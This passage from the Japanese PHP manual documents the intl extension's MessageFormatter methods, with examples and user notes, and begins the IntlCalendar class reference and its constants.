$fmt = msgfmt_create("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
$fmt = msgfmt_create("de", "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
?>

例2 オブジェクト指向の例

<?php
$fmt = new MessageFormatter("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo $fmt->format(array(4560, 123, 4560/123));
$fmt = new MessageFormatter("de", "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum");
echo $fmt->format(array(4560, 123, 4560/123));
?>

上の例の出力は以下となります。

4,560 monkeys on 123 trees make 37.073 monkeys per tree
4.560 Affen auf 123 Baumen sind 37,073 Affen pro Baum

参考

  • msgfmt_format() - メッセージをフォーマットする
  • msgfmt_parse() - パターンを使用して入力文字列をパースする
  • msgfmt_get_error_code() - 直近の操作のエラーコードを取得する
  • msgfmt_get_error_message() - 直近の操作のエラーテキストを取得する

User Contributed Notes

ezarko at synacor dot com 05-Oct-2009 03:18
Beware: passing an empty string for format returns null, not a formatter which returns empty strings.

$ php -r "print_r(new MessageFormatter('en_US',' '));"
MessageFormatter Object
(
)
$ php -r "print_r(new MessageFormatter('en_US',''));"


手早くメッセージをフォーマットする

  • ≪ MessageFormatter::create
  • MessageFormatter::format ≫
  • PHP Manual
  • MessageFormatter
  • 手早くメッセージをフォーマットする

MessageFormatter::formatMessage

msgfmt_format_message

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

MessageFormatter::formatMessage -- msgfmt_format_message — 手早くメッセージをフォーマットする

説明

オブジェクト指向型

public static MessageFormatter::formatMessage ( string $locale , string $pattern , array $args ) : string

手続き型

msgfmt_format_message ( string $locale , string $pattern , array $args ) : string

明示的にフォーマッタオブジェクトを作成せずに、 手早くメッセージをフォーマットする関数です。 この関数を使用するのは、 一度きりのフォーマット処理であってパラメータや状態を保持する必要がない場合です。

パラメータ

locale

ロケールに依存する部分をフォーマットする際に使用するロケール。

pattern

使用するパターン文字列。 パターンには、'アポストロフィに優しい' 構文を使用します。 » umsg_autoQuoteApostrophe を通してから解釈が行われます。

args

フォーマット文字列に埋め込む値の配列。

返り値

フォーマットしたパターン文字列を返します。 エラーが発生した場合は false を返します。

例

例1 msgfmt_format_message() の例

<?php
echo msgfmt_format_message("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree\n", array(4560, 123, 4560/123));
echo msgfmt_format_message("de", "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum\n", array(4560, 123, 4560/123));
?>

例2 オブジェクト指向の例

<?php
echo MessageFormatter::formatMessage("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree\n", array(4560, 123, 4560/123));
echo MessageFormatter::formatMessage("de", "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum\n", array(4560, 123, 4560/123));
?>

上の例の出力は以下となります。

4,560 monkeys on 123 trees make 37.073 monkeys per tree
4.560 Affen auf 123 Baumen sind 37,073 Affen pro Baum

参考

  • msgfmt_create() - 新しいメッセージフォーマッタを作成する
  • msgfmt_parse() - パターンを使用して入力文字列をパースする
  • msgfmt_get_error_code() - 直近の操作のエラーコードを取得する
  • msgfmt_get_error_message() - 直近の操作のエラーテキストを取得する

User Contributed Notes

zlobnygrif at gmail dot com 10-Jul-2013 05:59
<?php
var_dump(
  msgfmt_format_message('ru_RU', 'The value of {somekey} is {0, choice, 0 #less 12| 12 #between 12 and 32| 32 #more than 32}', ['SomeAnotherKey' => -1]),
  msgfmt_format_message('ru_RU', 'The value of {somekey} is {0, choice, 0 #less 12| 12 #between 12 and 32| 32 #more than 32}', [14]),
  msgfmt_format_message('ru_RU', 'The value of {somekey} is {0, choice, 0 #less 12| 12 #between 12 and 32| 32 #more than 32}', [133]),
  msgfmt_format_message('ru_RU', '{0, plural, =0{Zero}=1{One}other{Unknown #}}', [0]),
  msgfmt_format_message('ru_RU', '{0, plural, =0{Zero}=1{One}other{Unknown #}}', [1]),
  msgfmt_format_message('ru_RU', '{0, plural, =0{Zero}=1{One}other{Unknown #}}', [2]),
  msgfmt_format_message('ru_RU', '{0, select, somevalue{This is some value} other{Unknown value}}', ['somevalue']),
  msgfmt_format_message('ru_RU', '{0, select, somevalue{This is some value} other{Unknown value "{0}"}}', ['somevalue2'])
);

var_dump(
  msgfmt_format_message('en_GB', 'Peter has {0, plural, =0{no cat} =1{a cat} other{# cats}}', [0]),
  msgfmt_format_message('en_GB', 'Peter has {0, plural, =0{no cat} =1{a cat} other{# cats}}', [1]),
  msgfmt_format_message('en_GB', 'Peter has {0, plural, =0{no cat} =1{a cat} other{# cats}}', [2])
);
?>

Output (PHP 5.4.17RC1)
==========================
string 'The value of -1 is less 12' (length=26)
string 'The value of 14 is between 12 and 32' (length=36)
string 'The value of 133 is more than 32' (length=32)
string 'Zero' (length=4)
string 'One' (length=3)
string 'Unknown 2' (length=9)
string 'This is some value' (length=18)
string 'Unknown value "somevalue2"' (length=26)
string 'Peter has no cat' (length=16)
string 'Peter has a cat' (length=15)
string 'Peter has 2 cats' (length=16)


メッセージをフォーマットする

  • ≪ MessageFormatter::formatMessage
  • MessageFormatter::getErrorCode ≫
  • PHP Manual
  • MessageFormatter
  • メッセージをフォーマットする

MessageFormatter::format

msgfmt_format

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

MessageFormatter::format -- msgfmt_format — メッセージをフォーマットする

説明

オブジェクト指向型

public MessageFormatter::format ( array $args ) : string

手続き型

msgfmt_format ( MessageFormatter $fmt , array $args ) : string

ロケールの規則にしたがってデータをフォーマット文字列に埋め込み、 メッセージをフォーマットします。

パラメータ

fmt

メッセージのフォーマッタ。

args

フォーマット文字列に埋め込む引数。

返り値

フォーマットした文字列を返します。 あるいはエラーが発生した場合は false を返します。

例

例1 msgfmt_format() の例

<?php
$fmt = msgfmt_create("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
$fmt = msgfmt_create("de", "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
?>

例2 オブジェクト指向の例

<?php
$fmt = new MessageFormatter("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo $fmt->format(array(4560, 123, 4560/123));
$fmt = new MessageFormatter("de", "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum");
echo $fmt->format(array(4560, 123, 4560/123));
?>

上の例の出力は以下となります。

4,560 monkeys on 123 trees make 37.073 monkeys per tree
4.560 Affen auf 123 Baumen sind 37,073 Affen pro Baum

参考

  • msgfmt_create() - 新しいメッセージフォーマッタを作成する
  • msgfmt_parse() - パターンを使用して入力文字列をパースする
  • msgfmt_format_message() - 手早くメッセージをフォーマットする
  • msgfmt_get_error_code() - 直近の操作のエラーコードを取得する
  • msgfmt_get_error_message() - 直近の操作のエラーテキストを取得する

User Contributed Notes

There are no user contributed notes for this page.


直近の操作のエラーコードを取得する

  • ≪ MessageFormatter::format
  • MessageFormatter::getErrorMessage ≫
  • PHP Manual
  • MessageFormatter
  • 直近の操作のエラーコードを取得する

MessageFormatter::getErrorCode

msgfmt_get_error_code

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

MessageFormatter::getErrorCode -- msgfmt_get_error_code — 直近の操作のエラーコードを取得する

説明

オブジェクト指向型

public MessageFormatter::getErrorCode ( ) : int

手続き型

msgfmt_get_error_code ( MessageFormatter $fmt ) : int

直近の操作のエラーコードを取得します。

パラメータ

fmt

メッセージのフォーマッタ。

参考

  • msgfmt_get_error_message() - 直近の操作のエラーテキストを取得する
  • intl_get_error_code() - 直近のエラーコードを取得する
  • intl_is_failure() - 指定したエラーコードが失敗を表すかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


直近の操作のエラーテキストを取得する

  • ≪ MessageFormatter::getErrorCode
  • MessageFormatter::getLocale ≫
  • PHP Manual
  • MessageFormatter
  • 直近の操作のエラーテキストを取得する

MessageFormatter::getErrorMessage

msgfmt_get_error_message

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

MessageFormatter::getErrorMessage -- msgfmt_get_error_message — 直近の操作のエラーテキストを取得する

説明

オブジェクト指向型

public MessageFormatter::getErrorMessage ( ) : string

手続き型

msgfmt_get_error_message ( MessageFormatter $fmt ) : string

直近の操作のエラーテキストを取得します。

パラメータ

fmt

メッセージのフォーマッタ。

返り値

直近のエラーの説明を返します。

例

例1 msgfmt_get_error_message() の例

<?php
$fmt = msgfmt_create("en_US", "{0, number} monkeys on {1, number} trees");
$str = msgfmt_format($fmt, array());
if(!$str) {
    echo "ERROR: ".msgfmt_get_error_message($fmt) . " (" . msgfmt_get_error_code($fmt) . ")\n";
}
?>

例2 オブジェクト指向の例

<?php
$fmt = new MessageFormatter("en_US", "{0, number} monkeys on {1, number} trees");
$str = $fmt->format(array());
if(!$str) {
    echo "ERROR: ".$fmt->getErrorMessage() . " (" . $fmt->getErrorCode() . ")\n";
}
?>

上の例の出力は以下となります。

ERROR: msgfmt_format: not enough parameters: U_ILLEGAL_ARGUMENT_ERROR (1)

参考

  • msgfmt_get_error_code() - 直近の操作のエラーコードを取得する
  • intl_get_error_code() - 直近のエラーコードを取得する
  • intl_is_failure() - 指定したエラーコードが失敗を表すかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


フォーマッタを作成した際のロケールを取得する

  • ≪ MessageFormatter::getErrorMessage
  • MessageFormatter::getPattern ≫
  • PHP Manual
  • MessageFormatter
  • フォーマッタを作成した際のロケールを取得する

MessageFormatter::getLocale

msgfmt_get_locale

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

MessageFormatter::getLocale -- msgfmt_get_locale — フォーマッタを作成した際のロケールを取得する

説明

オブジェクト指向型

public MessageFormatter::getLocale ( ) : string

手続き型

msgfmt_get_locale ( NumberFormatter $formatter ) : string

フォーマッタを作成した際のロケールを取得します。

パラメータ

formatter

フォーマッタリソース。

返り値

ロケール名を返します。

例

例1 msgfmt_get_locale() の例

<?php
$fmt = msgfmt_create('en_US', "Number {0,number}");
echo msgfmt_get_locale($fmt);
?>

例2 オブジェクト指向の例

<?php
$fmt = new MessageFormatter('en_US', "Number {0,number}");
echo $fmt->getLocale();
?>

上の例の出力は以下となります。

en_US

参考

  • msgfmt_create() - 新しいメッセージフォーマッタを作成する

User Contributed Notes

There are no user contributed notes for this page.


フォーマッタが使用するパターンを取得する

  • ≪ MessageFormatter::getLocale
  • MessageFormatter::parseMessage ≫
  • PHP Manual
  • MessageFormatter
  • フォーマッタが使用するパターンを取得する

MessageFormatter::getPattern

msgfmt_get_pattern

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

MessageFormatter::getPattern -- msgfmt_get_pattern — フォーマッタが使用するパターンを取得する

説明

オブジェクト指向型

public MessageFormatter::getPattern ( ) : string

手続き型

msgfmt_get_pattern ( MessageFormatter $fmt ) : string

フォーマッタが使用するパターンを取得します。

パラメータ

fmt

メッセージのフォーマッタ。

返り値

このメッセージフォーマッタのパターン文字列を返します。

例

例1 msgfmt_get_pattern() の例

<?php
$fmt = msgfmt_create( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatting result: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";

msgfmt_set_pattern( $fmt, "{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatted number: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";
?>

例2 オブジェクト指向の例

<?php
$fmt = new MessageFormatter( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatting result: " . $fmt->format(array(123, 456)) . "\n";

$fmt->setPattern("{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatted number: " . $fmt->format(array(123, 456)) . "\n";
?>

上の例の出力は以下となります。

Default pattern: '{0,number} monkeys on {1,number} trees'
Formatting result: 123 monkeys on 456 trees
New pattern: '{0,number} trees hosting {1,number} monkeys'
Formatted number: 123 trees hosting 456 monkeys

参考

  • msgfmt_create() - 新しいメッセージフォーマッタを作成する
  • msgfmt_set_pattern() - フォーマッタが使用するパターンを設定する

User Contributed Notes

There are no user contributed notes for this page.


手早く入力文字列をパースする

  • ≪ MessageFormatter::getPattern
  • MessageFormatter::parse ≫
  • PHP Manual
  • MessageFormatter
  • 手早く入力文字列をパースする

MessageFormatter::parseMessage

msgfmt_parse_message

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

MessageFormatter::parseMessage -- msgfmt_parse_message — 手早く入力文字列をパースする

説明

オブジェクト指向型

public static MessageFormatter::parseMessage ( string $locale , string $pattern , string $source ) : array

手続き型

msgfmt_parse_message ( string $locale , string $pattern , string $value ) : array

明示的にフォーマッタオブジェクトを作成せずに、 手早く入力文字列をパースします。 この関数を使用するのは、 一度きりのフォーマット処理であってパラメータや状態を保持する必要がない場合です。

パラメータ

locale

ロケールに依存する部分をパースする際に使用するロケール。

pattern

value のパースに使うパターン。

source

パースする文字列。pattern を満たします。

返り値

取り出した項目を含む配列を返します。 エラーが発生した場合は false を返します。

例

例1 msgfmt_parse_message() の例

<?php
$fmt = msgfmt_parse_message('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree",
                            "4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($fmt);

$fmt = msgfmt_parse_message('de', "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum",
                            "4.560 Affen auf 123 Baumen sind 37,073 Affen pro Baum");
var_export($fmt);
?>

例2 オブジェクト指向の例

<?php
$fmt = MessageFormatter::parseMessage('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree",
                            "4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($fmt);

$fmt = MessageFormatter::parseMessage('de', "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum",
                            "4.560 Affen auf 123 Baumen sind 37,073 Affen pro Baum");
var_export($fmt);
?>

上の例の出力は以下となります。

array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)
array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)

参考

  • msgfmt_create() - 新しいメッセージフォーマッタを作成する
  • msgfmt_format_message() - 手早くメッセージをフォーマットする
  • msgfmt_parse() - パターンを使用して入力文字列をパースする

User Contributed Notes

There are no user contributed notes for this page.


パターンを使用して入力文字列をパースする

  • ≪ MessageFormatter::parseMessage
  • MessageFormatter::setPattern ≫
  • PHP Manual
  • MessageFormatter
  • パターンを使用して入力文字列をパースする

MessageFormatter::parse

msgfmt_parse

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

MessageFormatter::parse -- msgfmt_parse — パターンを使用して入力文字列をパースする

説明

オブジェクト指向型

public MessageFormatter::parse ( string $value ) : array

手続き型

msgfmt_parse ( MessageFormatter $fmt , string $value ) : array

入力文字列をパースし、取り出した項目を配列で返します。

パラメータ

fmt

メッセージのフォーマッタ。

value

パースする文字列。

返り値

取り出した項目を含む配列を返します。 エラーが発生した場合は false を返します。

例

例1 msgfmt_parse() の例

<?php
$fmt = msgfmt_create('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
$res = msgfmt_parse($fmt, "4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($res);

$fmt = msgfmt_create('de', "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum");
$res = msgfmt_parse($fmt, "4.560 Affen auf 123 Baumen sind 37,073 Affen pro Baum");
var_export($res);
?>

例2 オブジェクト指向の例

<?php
$fmt = new MessageFormatter('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
$res = $fmt->parse("4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($res);

$fmt = new MessageFormatter('de', "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum");
$res = $fmt->parse("4.560 Affen auf 123 Baumen sind 37,073 Affen pro Baum");
var_export($res);
?>

上の例の出力は以下となります。

array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)
array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)

参考

  • msgfmt_create() - 新しいメッセージフォーマッタを作成する
  • msgfmt_format() - メッセージをフォーマットする
  • msgfmt_parse_message() - 手早く入力文字列をパースする

User Contributed Notes

There are no user contributed notes for this page.


フォーマッタが使用するパターンを設定する

  • ≪ MessageFormatter::parse
  • IntlCalendar ≫
  • PHP Manual
  • MessageFormatter
  • フォーマッタが使用するパターンを設定する

MessageFormatter::setPattern

msgfmt_set_pattern

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

MessageFormatter::setPattern -- msgfmt_set_pattern — フォーマッタが使用するパターンを設定する

説明

オブジェクト指向型

public MessageFormatter::setPattern ( string $pattern ) : bool

手続き型

msgfmt_set_pattern ( MessageFormatter $fmt , string $pattern ) : bool

フォーマッタが使用するパターンを設定します。

パラメータ

fmt

メッセージのフォーマッタ。

pattern

このメッセージフォーマッタで使用するパターン文字列。 パターンには、'アポストロフィに優しい' 構文を使用します。 » umsg_autoQuoteApostrophe を通してから解釈が行われます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 msgfmt_set_pattern() の例

<?php
$fmt = msgfmt_create( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatting result: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";

msgfmt_set_pattern( $fmt, "{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatted number: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";
?>

例2 オブジェクト指向の例

<?php
$fmt = new MessageFormatter( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatting result: " . $fmt->format(array(123, 456)) . "\n";

$fmt->setPattern("{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatted number: " . $fmt->format(array(123, 456)) . "\n";
?>

上の例の出力は以下となります。

Default pattern: '{0,number} monkeys on {1,number} trees'
Formatting result: 123 monkeys on 456 trees
New pattern: '{0,number} trees hosting {1,number} monkeys'
Formatted number: 123 trees hosting 456 monkeys

参考

  • msgfmt_create() - 新しいメッセージフォーマッタを作成する
  • msgfmt_get_pattern() - フォーマッタが使用するパターンを取得する

User Contributed Notes

neil dot smith at vouchercloud dot com 05-Aug-2014 12:29
A correct example would be to transpose the placeholders in pattern 2.

This is typical where changing messages from one language to another changes the word order, to result in a sensible translation.

Let's imagine it's localised as Spanish or Russian instead of English.
So really you want to have pattern 2 provided by your human translator to read like this :

New pattern: '{1,number} trees hosting {0,number} monkeys'
Formatted number: 456 trees hosting 123 monkeys

That is - the order of arguments is always the same, but your translated message content has the placeholders transposed for non English languages.


IntlCalendar クラス

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

はじめに

クラス概要

IntlCalendar {
/* 定数 */
const int FIELD_ERA = 0 ;
const int FIELD_YEAR = 1 ;
const int FIELD_MONTH = 2 ;
const int FIELD_WEEK_OF_YEAR = 3 ;
const int FIELD_WEEK_OF_MONTH = 4 ;
const int FIELD_DATE = 5 ;
const int FIELD_DAY_OF_YEAR = 6 ;
const int FIELD_DAY_OF_WEEK = 7 ;
const int FIELD_DAY_OF_WEEK_IN_MONTH = 8 ;
const int FIELD_AM_PM = 9 ;
const int FIELD_HOUR = 10 ;
const int FIELD_HOUR_OF_DAY = 11 ;
const int FIELD_MINUTE = 12 ;
const int FIELD_SECOND = 13 ;
const int FIELD_MILLISECOND = 14 ;
const int FIELD_ZONE_OFFSET = 15 ;
const int FIELD_DST_OFFSET = 16 ;
const int FIELD_YEAR_WOY = 17 ;
const int FIELD_DOW_LOCAL = 18 ;
const int FIELD_EXTENDED_YEAR = 19 ;
const int FIELD_JULIAN_DAY = 20 ;
const int FIELD_MILLISECONDS_IN_DAY = 21 ;
const int FIELD_IS_LEAP_MONTH = 22 ;
const int FIELD_FIELD_COUNT = 23 ;
const int FIELD_DAY_OF_MONTH = 5 ;
const int DOW_SUNDAY = 1 ;
const int DOW_MONDAY = 2 ;
const int DOW_TUESDAY = 3 ;
const int DOW_WEDNESDAY = 4 ;
const int DOW_THURSDAY = 5 ;
const int DOW_FRIDAY = 6 ;
const int DOW_SATURDAY = 7 ;
const int DOW_TYPE_WEEKDAY = 0 ;
const int DOW_TYPE_WEEKEND = 1 ;
const int DOW_TYPE_WEEKEND_OFFSET = 2 ;
const int DOW_TYPE_WEEKEND_CEASE = 3 ;
const int WALLTIME_FIRST = 1 ;
const int WALLTIME_LAST = 0 ;
const int WALLTIME_NEXT_VALID = 2 ;
/* メソッド */
public add ( int $field , int $amount ) : bool
public after ( IntlCalendar $other ) : bool
public before ( IntlCalendar $other ) : bool
public clear ( int $field = NULL ) : bool
private __construct ( )
public static createInstance ( mixed $timeZone = NULL , string $locale = "" ) : IntlCalendar
public equals ( IntlCalendar $other ) : bool
public fieldDifference ( float $when , int $field ) : int|false
public static fromDateTime ( mixed $dateTime ) : IntlCalendar
public get ( int $field ) : int
public getActualMaximum ( int $field ) : int|false
public getActualMinimum ( int $field ) : int|false
public static getAvailableLocales ( ) : array
public getDayOfWeekType ( int $dayOfWeek ) : int|false
public getErrorCode ( ) : int
public getErrorMessage ( ) : string
public getFirstDayOfWeek ( ) : int|false
public getGreatestMinimum ( int $field ) : int|false
public static getKeywordValuesForLocale ( string $key , string $locale , bool $commonlyUsed ) : Iterator|false
public getLeastMaximum ( int $field ) : int|false
public getLocale ( int $localeType ) : string|false
public getMaximum ( int $field ) : int|false
public getMinimalDaysInFirstWeek ( ) : int|false
public getMinimum ( int $field ) : int|false
public static getNow ( ) : float
public getRepeatedWallTimeOption ( ) : int
public getSkippedWallTimeOption ( ) : int
public getTime ( ) : float
public getTimeZone ( ) : IntlTimeZone
public getType ( ) : string
public getWeekendTransition ( string $dayOfWeek ) : int|false
public inDaylightTime ( ) : bool
public isEquivalentTo ( IntlCalendar $other ) : bool
public isLenient ( ) : bool
public isSet ( int $field ) : bool
public isWeekend ( float $date = NULL ) : bool
public roll ( int $field , mixed $amountOrUpOrDown ) : bool
public set ( int $field , int $value ) : bool
public set ( int $year , int $month , int $dayOfMonth = NULL , int $hour = NULL , int $minute = NULL , int $second = NULL ) : bool
public setFirstDayOfWeek ( int $dayOfWeek ) : bool
public setLenient ( bool $isLenient ) : bool
public setMinimalDaysInFirstWeek ( int $minimalDays ) : bool
public setRepeatedWallTimeOption ( int $wallTimeOption ) : bool
public setSkippedWallTimeOption ( int $wallTimeOption ) : bool
public setTime ( float $date ) : bool
public setTimeZone ( mixed $timeZone ) : bool
public toDateTime ( ) : DateTime
}

定義済み定数

IntlCalendar::FIELD_ERA

カレンダーのフィールドで、時代を表す数値です。たとえば、グレゴリオ暦やユリウス暦の場合は 1 が紀元後そして 0 が紀元前を表します。 また、和暦の場合は 235 が平成を表します。 すべてのカレンダーが複数の時代を持つわけではありません。

IntlCalendar::FIELD_YEAR

カレンダーの、年を表すフィールド。時代が違えば同じ数字になることもあります。 そのカレンダー型が複数の時代を持っている場合は、このフィールドの最小値は通常は 1 になります。

IntlCalendar::FIELD_MONTH

カレンダーの、月を表すフィールド。月番号はゼロからはじまるので、1月が 0、2月が 1、...そして12月が 11 となります。13番目の月あるいはうるう月があるカレンダーの場合は、12 で表します。

IntlCalendar::FIELD_WEEK_OF_YEAR

カレンダーの、年内の週番号を表すフィールド。 これは、何曜日を週の開始日とみなすか、そして週の最小日数は何日かによって決まります。

IntlCalendar::FIELD_WEEK_OF_MONTH

カレンダーの、月内の週番号を表すフィールド。 これは、何曜日を週の開始日とみなすか、そして週の最小日数は何日かによって決まります。

IntlCalendar::FIELD_DATE

カレンダーの、月内の日数を表すフィールド。 IntlCalendar::FIELD_DAY_OF_MONTH と同じで、こちらのほうがよりわかりやすい名前です。

IntlCalendar::FIELD_DAY_OF_YEAR

カレンダーの、年内の日数を表すフィールド。 グレゴリオ暦の場合は、1 から始まって 365 あるいは 366 で終わります。

IntlCalendar::FIELD_DAY_OF_WEEK

カレンダーの、曜日を表すフィールド。 最初の値は 1 (日曜日。IntlCalendar::DOW_SUNDAY とそれに続く定数を参照ください) で、有効な最後の値は 7 (土曜日) です。

IntlCalendar::FIELD_DAY_OF_WEEK_IN_MONTH

曜日 (日曜日、月曜日、...) を指定されたときに、このフィールドには当月内でその曜日が何番目に登場するのかを代入します。 つまり、このフィールドの値が 1 で曜日番号が 2 (月曜日) だったとすると、 当月の第一月曜日の日付が設定されます。 最大値は 5 です。

さらに、0 や負の数も使えます。 0 は、ある月の最初の (day of week in month の値が 1 となる) 七日間の直前の七日間を表します。 負の値を指定した場合は、月末から数えます。-1 は、その曜日が当月の最後に登場する日付、 -2 はさらにその一週間前といったようになります。

IntlCalendar::FIELD_WEEK_OF_MONTH や IntlCalendar::FIELD_WEEK_OF_YEAR とは異なり、この値は IntlCalendar::getFirstDayOfWeek() や IntlCalendar::getMinimalDaysInFirstWeek() に依存しません。 第一月曜日は第一月曜日であり、たとえ前月に属する日であってもそれは変わりません。

IntlCalendar::FIELD_AM_PM

カレンダーの、午前 (0) か午後 (1) かを表すフィールド。 深夜 0 時は午前、正午は午後となります。

IntlCalendar::FIELD_HOUR

カレンダーの、時間を表すフィールド。午前か午後かは含みません。 有効な値は 0 から 11 までです。

IntlCalendar::FIELD_HOUR_OF_DAY

カレンダーの、24 時間制の時間を表すフィールド。 有効な値は 0 から 23 までです。

IntlCalendar::FIELD_MINUTE

カレンダーの、分を表すフィールド。

IntlCalendar::FIELD_SECOND

カレンダーの、秒を表すフィールド。

IntlCalendar::FIELD_MILLISECOND

カレンダーの、ミリ秒を表すフィールド。

IntlCalendar::FIELD_ZONE_OFFSET

カレンダーの、タイムゾーンのオフセットをミリ秒で表すフィールド。 夏時間によるオフセットは含みません。

IntlCalendar::FIELD_DST_OFFSET

カレンダーの、夏時間によるオフセットをミリ秒で表すフィールド。 夏時間を採用しているタイムゾーンの場合に使います。

IntlCalendar::FIELD_YEAR_WOY

カレンダーの、week of year 用の年を表すフィールド。

IntlCalendar::FIELD_DOW_LOCAL

カレンダーの、ローカライズした曜日を表すフィールド。 1 から 7 までの値となり、 1 は IntlCalendar::getFirstDayOfWeek() が返す値にマッチする曜日に使います。

IntlCalendar::FIELD_EXTENDED_YEAR

カレンダーの、年番号を表すフィールド。この番号は、時代をまたがって続きます。 グレゴリオ暦の場合、紀元後の年についてはこの値は IntlCalendar::FIELD_YEAR に一致します。 紀元前 y 年の場合は -y + 1 となります。

IntlCalendar::FIELD_JULIAN_DAY

カレンダーの、ユリウス日を表すフィールド。 一般的な慣習とは違って、このユリウス日は現地時間の深夜 0 時に加算されます。 UTC の正午ではありません。 これで、日付を一意に特定します。

IntlCalendar::FIELD_MILLISECONDS_IN_DAY

カレンダーの、 IntlCalendar::FIELD_HOUR_OF_DAY や IntlCalendar::FIELD_MINUTE、 IntlCalendar::FIELD_SECOND、そして IntlCalendar::FIELD_MILLISECOND の情報をまとめたフィールド。 0 から 24 * 3600 * 1000 - 1 までの値となります。この値は、その日の中での経過ミリ秒数ではありません。 というのも、夏時間への移行を挟む場合はこの値は連続した値にならないからです。

IntlCalendar::FIELD_IS_LEAP_MONTH

カレンダーのフィールドで、値が 1 のときはうるう月、 0 の場合はそうでないことを表します。

IntlCalendar::FIELD_FIELD_COUNT

フィールドの総数。

IntlCalendar::FIELD_DAY_OF_MONTH

IntlCalendar::FIELD_DATE のエイリアス。

IntlCalendar::DOW_SUNDAY

日曜日。

IntlCalendar::DOW_MONDAY

月曜日。

IntlCalendar::DOW_TUESDAY

火曜日。

IntlCalendar::DOW_WEDNESDAY

水曜日。

IntlCalendar::DOW_THURSDAY

木曜日。

IntlCalendar::DOW_FRIDAY

金曜日。

IntlCalendar::DOW_SATURDAY

土曜日。

IntlCalendar::DOW_TYPE_WEEKDAY

平日であることを示す IntlCalendar::getDayOfWeekType() の出力。

IntlCalendar::DOW_TYPE_WEEKEND

週末であることを示す IntlCalendar::getDayOfWeekType() の出力。

IntlCalendar::DOW_TYPE_WEEKEND_OFFSET

指定した曜日から週末が始まることを示す IntlCalendar::getDayOfWeekType() の出力。

IntlCalendar::DOW_TYPE_WEEKEND_CEASE

指定した曜日で週末が終わることを示す IntlCalendar::getDayOfWeekType() の出力。

IntlCalendar::WALLTIME_FIRST

スキップした範囲内の実測時間が一時間前の実測時間と同じ瞬間を指すことを示す IntlCalendar::getSkippedWallTimeOption() の出力。 また、繰り返した範囲内の実測時間がその最初のほうを指すことを示す IntlCalendar::getRepeatedWallTimeOption() の出力。

IntlCalendar::WALLTIME_LAST

スキップした範囲内の実測時間が一時間後の実測時間と同じ瞬間を指すことを示す IntlCalendar::getSkippedWallTimeOption() の出力。 また、繰り返した範囲内の実測時間がその二番目のほうを指すことを示す IntlCalendar::getRepeatedWallTimeOption() の出力。

IntlCalendar::WALLTIME_NEXT_VALID

